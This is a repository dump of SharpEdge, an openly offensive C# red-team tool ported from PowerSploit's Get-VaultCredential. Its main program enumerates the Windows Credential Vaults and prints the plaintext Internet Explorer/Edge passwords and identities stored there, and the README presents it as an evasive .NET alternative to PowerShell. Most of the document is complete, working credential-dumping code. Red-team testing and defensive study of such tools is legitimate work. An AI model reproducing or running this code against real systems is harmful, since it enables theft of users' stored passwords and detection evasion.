├── .gitignore ├── ExampleRun.png ├── README.md ├── SharpEdge.sln └── SharpEdge ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── SharpEdge.csproj └── app.config /.gitignore: -------------------------------------------------------------------------------- 1 | .vs/ 2 | -------------------------------------------------------------------------------- /ExampleRun.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/djhohnstein/SharpEdge/d8404926e5f0ee1f8e5dcb260cab95e1e073fa28/ExampleRun.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpEdge 2 | 3 | SharpEdge is a C# implementation of [@mattifestation's](https://twitter.com/mattifestation) script [Get-VaultCredential](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-VaultCredential.ps1). The aim of this is to ride the wave of evasive .NET binaries that move red teams away from PowerShell and into a space that has less introspection. 4 | 5 | SharpEdge is written in .NET 2.0 CLR and dumps Internet Explorer/Microsoft Edge credentials. 6 | 7 | ## Compilation 8 | 9 | To compile, simply load the solution into Visual Studio and build the project. 10 | 11 | ## Usage 12 | 13 | .\SharpEdge.exe 14 | 15 | ## Example Output 16 | 17 | ![ExampleRun](ExampleRun.png) 18 | 19 | ## Your Code Sucks! 20 | 21 | You don't have to tell me; submit a PR and _help me_! 22 | -------------------------------------------------------------------------------- /SharpEdge.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26403.7 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpEdge", "SharpEdge\SharpEdge.csproj", "{D116BEC7-8DEF-4FCE-BF84-C8504EF4E481}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {D116BEC7-8DEF-4FCE-BF84-C8504EF4E481}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {D116BEC7-8DEF-4FCE-BF84-C8504EF4E481}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {D116BEC7-8DEF-4FCE-BF84-C8504EF4E481}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {D116BEC7-8DEF-4FCE-BF84-C8504EF4E481}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /SharpEdge/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Reflection; 5 | using System.Reflection.Emit; 6 | using System.IO; 7 | using System.Runtime.InteropServices; 8 | 9 | /* 10 | * Author: Dwight Hohnstein (@djhohnstein) 11 | * 12 | * This is a C# implementation of Get-VaultCredential 13 | * from @mattifestation, whose PowerShell source is here: 14 | * https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-VaultCredential.ps1 15 | */ 16 | 17 | namespace SharpEdge 18 | { 19 | // Thanks to @tifkin and @harmj0y for pointing out that 20 | // Reflection is unecessary for defining these. 21 | public static class VaultCli 22 | { 23 | public enum VAULT_ELEMENT_TYPE : Int32 24 | { 25 | Undefined = -1, 26 | Boolean = 0, 27 | Short = 1, 28 | UnsignedShort = 2, 29 | Int = 3, 30 | UnsignedInt = 4, 31 | Double = 5, 32 | Guid = 6, 33 | String = 7, 34 | ByteArray = 8, 35 | TimeStamp = 9, 36 | ProtectedArray = 10, 37 | Attribute = 11, 38 | Sid = 12, 39 | Last = 13 40 | } 41 | 42 | public enum VAULT_SCHEMA_ELEMENT_ID : Int32 43 | { 44 | Illegal = 0, 45 | Resource = 1, 46 | Identity = 2, 47 | Authenticator = 3, 48 | Tag = 4, 49 | PackageSid = 5, 50 | AppStart = 100, 51 | AppEnd = 10000 52 | } 53 | 54 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] 55 | public struct VAULT_ITEM_WIN8 56 | { 57 | public Guid SchemaId; 58 | public IntPtr pszCredentialFriendlyName; 59 | public IntPtr pResourceElement; 60 | public IntPtr pIdentityElement; 61 | public IntPtr pAuthenticatorElement; 62 | public IntPtr pPackageSid; 63 | public UInt64 LastModified; 64 | public UInt32 dwFlags; 65 | public UInt32 dwPropertiesCount; 66 | public IntPtr pPropertyElements; 67 | } 68 | 69 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] 70 | public struct VAULT_ITEM_WIN7 71 | { 72 | public Guid SchemaId; 73 | public IntPtr pszCredentialFriendlyName; 74 | public IntPtr pResourceElement; 75 | public IntPtr pIdentityElement; 76 | public IntPtr pAuthenticatorElement; 77 | public UInt64 LastModified; 78 | public UInt32 dwFlags; 79 | public UInt32 dwPropertiesCount; 80 | public IntPtr pPropertyElements; 81 | } 82 | 83 | [StructLayout(LayoutKind.Explicit, CharSet = CharSet.Ansi)] 84 | public struct VAULT_ITEM_ELEMENT 85 | { 86 | [FieldOffset(0)] public VAULT_SCHEMA_ELEMENT_ID SchemaElementId; 87 | [FieldOffset(8)] public VAULT_ELEMENT_TYPE Type; 88 | } 89 | 90 | [DllImport("vaultcli.dll")] 91 | public extern static Int32 VaultOpenVault(ref Guid vaultGuid, UInt32 offset, ref IntPtr vaultHandle); 92 | 93 | [DllImport("vaultcli.dll")] 94 | public extern static Int32 VaultCloseVault(ref IntPtr vaultHandle); 95 | 96 | [DllImport("vaultcli.dll")] 97 | public extern static Int32 VaultFree(ref IntPtr vaultHandle); 98 | 99 | [DllImport("vaultcli.dll")] 100 | public extern static Int32 VaultEnumerateVaults(Int32 offset, ref Int32 vaultCount, ref IntPtr vaultGuid); 101 | 102 | [DllImport("vaultcli.dll")] 103 | public extern static Int32 VaultEnumerateItems(IntPtr vaultHandle, Int32 chunkSize, ref Int32 vaultItemCount, ref IntPtr vaultItem); 104 | 105 | [DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")] 106 | public extern static Int32 VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, Int32 arg6, ref IntPtr passwordVaultPtr); 107 | 108 | [DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")] 109 | public extern static Int32 VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, Int32 arg5, ref IntPtr passwordVaultPtr); 110 | 111 | } 112 | 113 | class Program 114 | { 115 | unsafe static void Main(string[] args) 116 | { 117 | Console.WriteLine("[*] Searching the Vaults..."); 118 | var OSVersion = Environment.OSVersion.Version; 119 | var OSMajor = OSVersion.Major; 120 | var OSMinor = OSVersion.Minor; 121 | 122 | Type VAULT_ITEM; 123 | 124 | if (OSMajor >= 6 && OSMinor >= 2) 125 | { 126 | VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN8); 127 | } 128 | else 129 | { 130 | VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN7); 131 | } 132 | 133 | /* Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct */ 134 | object GetVaultElementValue(IntPtr vaultElementPtr) 135 | { 136 | object results; 137 | object partialElement = System.Runtime.InteropServices.Marshal.PtrToStructure(vaultElementPtr, typeof(VaultCli.VAULT_ITEM_ELEMENT)); 138 | FieldInfo partialElementInfo = partialElement.GetType().GetField("Type"); 139 | var partialElementType = partialElementInfo.GetValue(partialElement); 140 | 141 | IntPtr elementPtr = (IntPtr)(vaultElementPtr.ToInt64() + 16); 142 | switch ((int)partialElementType) 143 | { 144 | case 7: // VAULT_ELEMENT_TYPE == String; These are the plaintext passwords! 145 | IntPtr StringPtr = System.Runtime.InteropServices.Marshal.ReadIntPtr(elementPtr); 146 | results = System.Runtime.InteropServices.Marshal.PtrToStringUni(StringPtr); 147 | break; 148 | case 0: // VAULT_ELEMENT_TYPE == bool 149 | results = System.Runtime.InteropServices.Marshal.ReadByte(elementPtr); 150 | results = (bool)results; 151 | break; 152 | case 1: // VAULT_ELEMENT_TYPE == Short 153 | results = System.Runtime.InteropServices.Marshal.ReadInt16(elementPtr); 154 | break; 155 | case 2: // VAULT_ELEMENT_TYPE == Unsigned Short 156 | results = System.Runtime.InteropServices.Marshal.ReadInt16(elementPtr); 157 | break; 158 | case 3: // VAULT_ELEMENT_TYPE == Int 159 | results = System.Runtime.InteropServices.Marshal.ReadInt32(elementPtr); 160 | break; 161 | case 4: // VAULT_ELEMENT_TYPE == Unsigned Int 162 | results = System.Runtime.InteropServices.Marshal.ReadInt32(elementPtr); 163 | break; 164 | case 5: // VAULT_ELEMENT_TYPE == Double 165 | results = System.Runtime.InteropServices.Marshal.PtrToStructure(elementPtr, typeof(Double)); 166 | break; 167 | case 6: // VAULT_ELEMENT_TYPE == GUID 168 | results = System.Runtime.InteropServices.Marshal.PtrToStructure(elementPtr, typeof(Guid)); 169 | break; 170 | case 12: // VAULT_ELEMENT_TYPE == Sid 171 | IntPtr sidPtr = System.Runtime.InteropServices.Marshal.ReadIntPtr(elementPtr); 172 | var sidObject = new System.Security.Principal.SecurityIdentifier(sidPtr); 173 | results = sidObject.Value; 174 | break; 175 | default: 176 | /* Several VAULT_ELEMENT_TYPES are currently unimplemented according to 177 | * Lord Graeber. Thus we do not implement them. */ 178 | results = null; 179 | break; 180 | } 181 | return results; 182 | } 183 | /* End helper function */ 184 | 185 | Int32 vaultCount = 0; 186 | IntPtr vaultGuidPtr = IntPtr.Zero; 187 | var result = VaultCli.VaultEnumerateVaults(0, ref vaultCount, ref vaultGuidPtr); 188 | 189 | //var result = CallVaultEnumerateVaults(VaultEnum, 0, ref vaultCount, ref vaultGuidPtr); 190 | 191 | if ((int)result != 0) 192 | { 193 | throw new Exception("[ERROR] Unable to enumerate vaults. Error (0x" + result.ToString() + ")"); 194 | } 195 | 196 | // Create dictionary to translate Guids to human readable elements 197 | IntPtr guidAddress = vaultGuidPtr; 198 | Dictionary vaultSchema = new Dictionary(); 199 | vaultSchema.Add(new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note"); 200 | vaultSchema.Add(new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential"); 201 | vaultSchema.Add(new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector"); 202 | vaultSchema.Add(new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials"); 203 | vaultSchema.Add(new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials"); 204 | vaultSchema.Add(new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential"); 205 | vaultSchema.Add(new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential"); 206 | vaultSchema.Add(new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential"); 207 | vaultSchema.Add(new Guid("00000000-0000-0000-0000-000000000000"), null); 208 | 209 | for (int i = 0; i < vaultCount; i++) 210 | { 211 | // Open vault block 212 | object vaultGuidString = System.Runtime.InteropServices.Marshal.PtrToStructure(guidAddress, typeof(Guid)); 213 | Guid vaultGuid = new Guid(vaultGuidString.ToString()); 214 | guidAddress = (IntPtr)(guidAddress.ToInt64() + System.Runtime.InteropServices.Marshal.SizeOf(typeof(Guid))); 215 | IntPtr vaultHandle = IntPtr.Zero; 216 | string vaultType; 217 | if (vaultSchema.ContainsKey(vaultGuid)) 218 | { 219 | vaultType = vaultSchema[vaultGuid]; 220 | } 221 | else 222 | { 223 | vaultType = vaultGuid.ToString(); 224 | } 225 | result = VaultCli.VaultOpenVault(ref vaultGuid, (UInt32)0, ref vaultHandle); 226 | if (result != 0) 227 | { 228 | throw new Exception("Unable to open the following vault: " + vaultType + ". Error: 0x" + result.ToString()); 229 | } 230 | // Vault opened successfully! Continue. 231 | 232 | // Fetch all items within Vault 233 | int vaultItemCount = 0; 234 | IntPtr vaultItemPtr = IntPtr.Zero; 235 | result = VaultCli.VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr); 236 | if (result != 0) 237 | { 238 | throw new Exception("[ERROR] Unable to enumerate vault items from the following vault: " + vaultType + ". Error 0x" + result.ToString()); 239 | } 240 | var structAddress = vaultItemPtr; 241 | if (vaultItemCount > 0) 242 | { 243 | // For each vault item... 244 | for (int j = 1; j <= vaultItemCount; j++) 245 | { 246 | // Begin fetching vault item... 247 | var currentItem = System.Runtime.InteropServices.Marshal.PtrToStructure(structAddress, VAULT_ITEM); 248 | structAddress = (IntPtr)(structAddress.ToInt64() + System.Runtime.InteropServices.Marshal.SizeOf(VAULT_ITEM)); 249 | 250 | IntPtr passwordVaultItem = IntPtr.Zero; 251 | // Field Info retrieval 252 | FieldInfo schemaIdInfo = currentItem.GetType().GetField("SchemaId"); 253 | Guid schemaId = new Guid(schemaIdInfo.GetValue(currentItem).ToString()); 254 | FieldInfo pResourceElementInfo = currentItem.GetType().GetField("pResourceElement"); 255 | IntPtr pResourceElement = (IntPtr)pResourceElementInfo.GetValue(currentItem); 256 | FieldInfo pIdentityElementInfo = currentItem.GetType().GetField("pIdentityElement"); 257 | IntPtr pIdentityElement = (IntPtr)pIdentityElementInfo.GetValue(currentItem); 258 | FieldInfo dateTimeInfo = currentItem.GetType().GetField("LastModified"); 259 | UInt64 lastModified = (UInt64)dateTimeInfo.GetValue(currentItem); 260 | 261 | object[] vaultGetItemArgs; 262 | IntPtr pPackageSid = IntPtr.Zero; 263 | if (OSMajor >= 6 && OSMinor >= 2) 264 | { 265 | // Newer versions have package sid 266 | FieldInfo pPackageSidInfo = currentItem.GetType().GetField("pPackageSid"); 267 | pPackageSid = (IntPtr)pPackageSidInfo.GetValue(currentItem); 268 | result = VaultCli.VaultGetItem_WIN8(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, ref passwordVaultItem); 269 | } 270 | else 271 | { 272 | result = VaultCli.VaultGetItem_WIN7(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem); 273 | } 274 | 275 | if (result != 0) 276 | { 277 | throw new Exception("Error occured while retrieving vault item. Error: 0x" + result.ToString()); 278 | } 279 | object passwordItem = System.Runtime.InteropServices.Marshal.PtrToStructure(passwordVaultItem, VAULT_ITEM); 280 | FieldInfo pAuthenticatorElementInfo = passwordItem.GetType().GetField("pAuthenticatorElement"); 281 | IntPtr pAuthenticatorElement = (IntPtr)pAuthenticatorElementInfo.GetValue(passwordItem); 282 | // Fetch the credential from the authenticator element 283 | object cred = GetVaultElementValue(pAuthenticatorElement); 284 | object packageSid = null; 285 | if (pPackageSid != IntPtr.Zero && pPackageSid != null) 286 | { 287 | packageSid = GetVaultElementValue(pPackageSid); 288 | } 289 | if (cred != null) // Indicates successful fetch 290 | { 291 | Console.WriteLine("--- Result ---"); 292 | Console.WriteLine("Vault Type : {0}", vaultType); 293 | object resource = GetVaultElementValue(pResourceElement); 294 | if (resource != null) 295 | { 296 | Console.WriteLine("Resource : {0}", resource); 297 | } 298 | object identity = GetVaultElementValue(pIdentityElement); 299 | if (identity != null) 300 | { 301 | Console.WriteLine("Identity : {0}", identity); 302 | } 303 | if (packageSid != null) 304 | { 305 | Console.WriteLine("PacakgeSid : {0}", packageSid); 306 | } 307 | Console.WriteLine("Credential : {0}", cred); 308 | // Stupid datetime 309 | Console.WriteLine("LastModified : {0}", System.DateTime.FromFileTimeUtc((long)lastModified)); 310 | } 311 | } 312 | } 313 | } 314 | Console.WriteLine("[*] All vaults searched. Exiting."); 315 | } 316 | } 317 | } 318 | -------------------------------------------------------------------------------- /SharpEdge/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpEdge")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpEdge")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("d116bec7-8def-4fce-bf84-c8504ef4e481")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpEdge/SharpEdge.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {D116BEC7-8DEF-4FCE-BF84-C8504EF4E481} 8 | Exe 9 | SharpEdge 10 | SharpEdge 11 | v2.0 12 | 512 13 | 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | true 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /SharpEdge/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | --------------------------------------------------------------------------------